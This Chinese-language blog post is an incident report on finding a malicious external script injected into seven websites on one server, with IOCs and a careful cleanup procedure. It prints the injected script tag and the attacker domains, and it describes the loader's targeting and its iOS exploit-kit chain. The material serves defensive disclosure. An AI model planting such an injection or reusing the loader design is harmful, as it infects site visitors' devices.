先给结论:我为了给一个新装的逆向分析工具做测试,抓了一份自己站点的 HAR。抓包很成功,但真正被揪出来的不是测试结果,而是——服务器上 26 个站点里,有 7 个被人挂了马。

这不是「听说某某有风险」的经验帖。下面所有的时间、文件名、字节数、md5 前缀、命令输出,都是当天照着终端记录抄下来的。恶意域名也照实写出来,需要的人可以拿去当 IOC 用。

如果你也自己维护服务器,建议慢慢看——尤其是第五节之后,那几个「看起来一切正常」的地方。

目录

章节

内容

一、先说结论

一句话概括这次事件

二、起因

我只是想抓个包,试试新工具

三、抓包

工具还没用上,先栽在数据格式上

四、发现

一行不在任何源码里的 script

五、剥洋葱

这段脚本到底干了什么

六、范围

26 个站点,7 个中招

七、排除与未解

排掉了什么,还差什么没找到

八、处置

备份 + 精准移除,以及两个差点踩的坑

九、验证

文件层 + 线上层双重确认

十、六条经验

一个下午换来的


一、先说结论

项目

结果

触发方式

为新装的逆向分析工具抓取站点 HAR,做功能测试

意外发现

首屏 HTML 中有一行不在任何源码 / 构建产物里的外链脚本

脚本性质

恶意注入加载器,向下分发针对 iOS 的漏洞利用载荷

影响范围

服务器 26 个站点中 7 个被注入,最早可追溯到 2025-08-19

本地代码库

干净——是文件上传到服务器之后被改的

处置结果

已备份 + 精准移除注入,7 个站点线上验证 HTTP 200 正常

根因

尚未定位——只做了止血,没做根除

⚠️ 全场最值得警醒的一点:这 7 个被改动的文件,权限全是 777,属主全是同一个用户。 而没中招的站点,权限是 644 / 755。入侵者能改什么,是被权限决定的。


二、起因:我只是想抓个包试试新工具

事情的起点特别普通。我最近给自己的 AI 助手装了一个逆向分析工具(REA,npm 包名 rea-agents,MCP 服务端),想找个真实目标验证一下它的网络分析能力——官方 demo 跑通了不算数,得看它在我自己的东西上表现如何。

最顺手的目标就是自己每天在用的运营系统,一个前后端分离的站点。于是我决定:抓一份它的 HAR,喂给工具分析。

当时的预期很简单——「看看它请求了哪些接口、有没有硬编码的密钥」。结果它确实把接口都列出来了,还顺手列了一些我从来没让它请求过的域名。


三、抓包:工具还没用上,先栽在数据格式上

3.1 抓包本身很顺利

本机本来就装了 Chrome,也已经有 playwright-core,所以不用下载任何浏览器,直接复用系统 Chrome 录制,几十秒就拿到了 HAR:

项目

结果

首次加载请求数

31 条

HAR 文件大小

约 5.7 MB

页面状态

未登录,跳转到登录页

3.2 第一次被工具拒绝:格式不合规

把 HAR 交给工具做证据级分析,直接被拒了。原因有点出人意料——

Playwright 写出来的 HAR 里,serverIPAddress 字段填的是 IPv6 格式([2606:...]),不符合 HAR 规范里「该字段应为 IPv4」的约定,严格的 schema 校验直接判失败。

解决办法是写了个小脚本清洗:去掉 Playwright 加的所有私有字段(_resourceType、_securityDetails、_monotonicTime 等),删掉非 IPv4 的 serverIPAddress,重新输出一份严格符合 HAR 1.2 的文件。再喂进去,顺利通过。

💡 一条能省你半小时的小经验:Playwright / Puppeteer 抓的 HAR 不能直接喂给严格的 HAR 解析器,中间要先做一次标准化,把 _ 开头的私有字段和非法 serverIPAddress 清掉。

清洗的时候我还顺手看了一眼服务器 IP——解析到的是我自己那台服务器。当时只当是「哦,对上了」,没意识到这句话后面还有下文。


四、发现:一行不在任何源码里的 script

工具接受 HAR 之后,逐条分析请求记录。其中有一条请求是页面上根本没有的第三方脚本,我去把首屏 HTML 原文翻了出来,看到了这么一行:

<script src="https://ribi123.com/dom.js"></script>

这行代码,我在自己的项目里从没见过。

于是开始逐个比对,这一步是整个事件的转折点:

比对位置

是否含注入

说明

服务器上的 index.html

是

磁盘文件被改,修改时间 2026-09-24 12:25,权限 777

本地源码 index.html

否

干净

本地构建产物 dist/index.html

否

与线上引用同一个 JS 资源名,但不含注入

站点 nginx 配置

—

没有 sub_filter 之类的 HTML 改写规则

结论很清楚:这不是代理层改写,也不是本地代码被投毒,而是文件上传到服务器之后,磁盘上的文件被人改过。

这里还有一个细节值得单独说:线上和本地构建产物引用的是同一个 JS 资源文件名。这一点非常关键——它证明两边的版本是一致的,那么差异就只可能出现在「上传之后」这一段。


五、剥洋葱:这段脚本到底干了什么

知道有注入只是开始,接下来要搞清楚它到底想干什么。那段 dom.js 只有 4 KB 左右,但层层往下挖,是一整条攻击链。

5.1 第一层:注入加载器(4 KB)

它的逻辑只有四步,全都挂在 window.onload 里:

#

动作

目的

①

用 document.write 写入第三方统计 SDK(51.la),统计 ID 指向攻击者的账号

把访客数据劫持到自己名下

②

插入一个 1×1 的隐形 iframe(opacity:0 + inert),指向一个外部页面

静默加载漏洞投放页

③

请求 ipinfo.io/json,判断访客是否在中国大陆

筛选目标,避免打到无关地区

④

满足「当天首次访问 + 中国 IP + 移动端」时,整站跳转到外部落地页

引流 / 变现

它的判定条件写得很克制:用 localStorage 记录「当天是否已访问过」,一天只劫持一次,尽量不引起访客察觉。这种做法比无脑跳转隐蔽得多。

代码里还留着攻击者更早用过的基础设施(已被注释掉),一并抄下来当线索:一个 get.php 入口,以及一个 Cloudflare Workers 域名。

5.2 第二层:漏洞投放页

那个隐形 iframe 加载的页面,源码里居然留着中文注释,直接把链路写清楚了。大意是:

≤17.2.1 (meizi):qqtime.html → 34ef644f....js → hash packs
iOS 18.4 – 18.7:同一入口 qqtime.html → boot.js → rce_loader (ios18_flat)

rce_loader、ios18_flat——到这一步,性质已经变了。这不是普通的广告脚本,是针对 iOS 设备的漏洞利用工具包。

5.3 第三层:混淆载荷(47 KB)

页面按 UA 分流,加载一个 47 KB 的文件,全篇混淆,靠 new Function(atob(...)) 自解密。

到这一层我没有再往下执行分析。静态看可以,但不能在任何真实设备上跑。把这几个文件原样留存取证,就够了。

5.4 可以拿去用的 IOC

类型

值

注入加载器

ribi123.com/dom.js、ribi123.com/scriptm.js

漏洞投放页

jm.w4z03.com/expires/expires.html

跳转落地页

xejlbofho6m8z.bdcarq.com/k05/?shareName=ky007

历史基础设施

ribi123.com/get.php、frite-morning-e253.misstom321.workers.dev/go

被劫持的统计位

51.la 统计 ID 归属于攻击者

🔒 如果你在自己的站点或日志里看到上面任何一个域名,直接当成已被入侵处理,不要先怀疑是误报。


六、范围:26 个站点,一小半的2 网站中招

一个站被挂,通常意味着还有别的。我按同样的特征在整台服务器上扫了一遍,结果比预想的大:

#

站点 / 文件

权限

最后修改

1

video. xxxxxxxxxx.com / index.html

777

2026-09-24

2

www.xxxxxxxxxx.com / index.html

777

2026-08-12

3

docs.xxxxxxxxxx.com / index.html

777

2026-06-15

4

i.xxxxxxxxxx.com / index.html

777

2025-11-13

5

nav.xxxxxxxxxx.work / index.php

777

2025-08-19

6

xxxxxxxxxx.com / WordPress 核心文件 wp-blog-header.php

777

2026-03-17

7

img.xxxxxxxxxx.work / WordPress 核心文件 wp-blog-header.php

777

2025-10-25

服务器上一共 26 个站点,中招 7 个,接近三成。

然后是最关键的一条线索:这 7 个文件全部是 777 权限、属主全都是同一个用户。 而没中招的站点文件权限是 644 / 755,属主是别的人。

这条线索几乎把答案写在脸上了:注入者是以那个属主的身份在运行,因此只能改写「它自己拥有的」或「全局可写的」文件。 权限正常的站点,它碰不到——这也解释了为什么受影响的恰好是这 7 个。

⏳ 再看时间列:最早 2025-08-19,最晚 2026-09-24,跨度超过一年。这不是今天才发生的事,而是长期存在、或者被反复注入。 而我在这之前毫无察觉——因为页面「看起来完全正常」。


七、排除与未解:排掉了什么,还差什么

7.1 已经排除的

排查项

结果

nginx sub_filter / 反向代理改写

未发现

系统级 / 用户级 crontab

无异常

systemd 定时器

全部为系统默认项

管理用户的 SSH 公钥

为空

该用户家目录下的脚本文件

无

SSH 成功登录记录

仅本机和本人常用出口 IP,无异地登录

7.2 还没找到的

必须诚实地说:持久化机制和初始入口,我没有定位到。

什么意思?就是我知道「文件被改了」,也知道「是被谁的身份改的」,但还不知道它是从哪个口子进来的、以及靠什么活到现在。这就意味着——只清理文件,攻击者可能还能再改回来。

这一点直接决定了后面的处置策略。


八、处置:备份 + 精准移除,以及两个差点踩的坑

8.1 只做两件事

我把清理拆成最小步骤:先备份,再移除注入。其他任何改动(比如顺手改权限)都不做——因为一旦出了问题,「到底哪一步改坏的」就说不清了。

备份用的是保留属性的复制方式,7 个文件全部逐一做 md5 比对,7/7 全部一致,确认备份可用、可回滚。

8.2 注入其实有两种形态

这是我在动手前逐文件核对时才发现的问题——不能一把梭全删:

形态

涉及文件

正确的处理方式

独立整行:<script src="..."></script>

4 个 HTML

删除该整行

首行行首前缀:<script ...></script><?php

3 个 PHP

只删前缀,保留 <?php

8.3 坑一:有一个文件用的不是同一个恶意脚本名

4 个 HTML 里注入的都是 dom.js,但那个 PHP 文件注入的是另一个文件名(scriptm.js),而且 </script> 和 <?php 之间还多了一个空格。

如果我图省事,只按 dom.js 去匹配替换,这个文件会被完整地漏掉——表面上清理完了,实际上还挂着一个。

8.4 坑二:WordPress 核心文件的 <?php 差点被删掉

这个更危险。两个 WordPress 的核心文件 wp-blog-header.php,注入是和 <?php 挤在同一行的:

<script src="https://ribi123.com/dom.js"></script><?php

如果按照「删除整行」的思路处理,<?php 会被连带删掉——整个 WordPress 直接解析失败,站点瞬间白屏。 所以我改成「只替换首行前缀」,把前面那段 script 标签剥掉,<?php 原地留下。

⚠️ 教训:处理被篡改的文件,不能只看「恶意内容长什么样」,还要看「它和正常内容是怎么长在一起的」。 同一个恶意串,出现在独立行和出现在代码前缀里,处理方式完全不同。

8.5 动手前先预演一遍

正式写入之前,我把所有替换先在临时文件上跑了一遍,再用 diff 逐文件对比——确认每个文件都只有 1 行发生变化,其余内容一个字节都没动。

事后有个很硬的旁证:处置完之后,7 个文件的大小分别是 525 / 486 / 15293 / 1029 / 351 / 351 / 320 字节——和预演时预测的数值一字不差。这说明预演是可信的,也说明没有误删。


九、验证:文件层 + 线上层双重确认

改完不等于修好,还得验。我分了两层:

文件层:7 个文件的恶意特征字符串命中数全部为 0;3 个 PHP 文件的首行确认仍是 <?php;再对整个网站根目录做了一次全量扫描,零残留。

线上层:带着绕过缓存的请求头,把 7 个站点逐个访问了一遍:

站点

HTTP 状态

注入残留

页面是否正常

video.xxxxxxxxxx.com

200

0

正常

docs.xxxxxxxxxx.com

200

0

正常

i.xxxxxxxxxx.com

200

0

正常

www.xxxxxxxxxx.com

200

0

正常

xxxxxxxxxx.com(WordPress)

200

0

正常,完整渲染 371 KB

img.xxxxxxxxxx.work(WordPress)

200

0

正常,完整渲染 29 KB

nav.xxxxxxxxxx.work

200

0

正常

两个 WordPress 站点都能完整返回页面,这一点最能证明「核心文件的 <?php 没被改坏」。


十、六条经验

  1. 权限就是攻击面。 777 + 同一个属主,等于把门敞开。这次 7 个文件被改、其他站安然无恙,差别就在权限上。

  2. 线上和本地不一致时,先怀疑「上传之后」。 更省事的判断方法:看线上和本地引用的是不是同一个构建产物名。同名却内容不同,问题就出在上传链路或服务器侧。

  3. 逆向分析工具的价值是「看得见」,不是「给结论」。 它输出的是一条条可追溯的证据(哪一行、什么置信度),而不是一句「你被黑了」。看得见,才修得动。

  4. 清理被篡改的文件,要分形态处理。 一律「删整行」会连带删掉 <?php,把站点改崩;只按一个恶意文件名匹配,会漏掉用别的文件名的那个。

  5. 动手前一定先做只读预演。 先跑一遍 diff,确认「只改该改的那一行」,再真正写入。这次预演预测的字节数和最终结果一字不差,是最大的信心来源。

  6. 止血 ≠ 根除。 文件清干净了,只要入口还在、权限还开着,就可能被重新写回来。所以清理完不是终点。


十一、小结

回头复盘,这件事最值得记下的不是「攻击手法有多高级」。恰恰相反——那 4 KB 的加载器写得很朴实,逻辑清楚,一点也不花哨。

真正让我后怕的是它已经在那儿待了一年多,而我毫不知情。页面能打开、功能都正常、也没有访客来投诉。因为它的触发条件是精心挑过的:中国 IP、移动端、当天首次访问——一天只劫持一次,尽量不留下痕迹。

而它被发现,纯粹是因为一个完全不相干的理由:我想试试一个新工具,随手抓了个包。

所以我现在会定期做一件事:抓一份自己站点的 HAR,逐条看它到底请求了什么。 因为浏览器看到的世界,和你在服务器上看文件列表看到的世界,完全是两回事——这次就是这两者之间的落差,把问题暴露出来的。

💬 最后留个问题:你会定期检查自己站点的首屏 HTML 里有哪些外部脚本吗? 或者,你有没有过「本来在做别的事,意外发现一个大问题」的经历?评论区聊聊。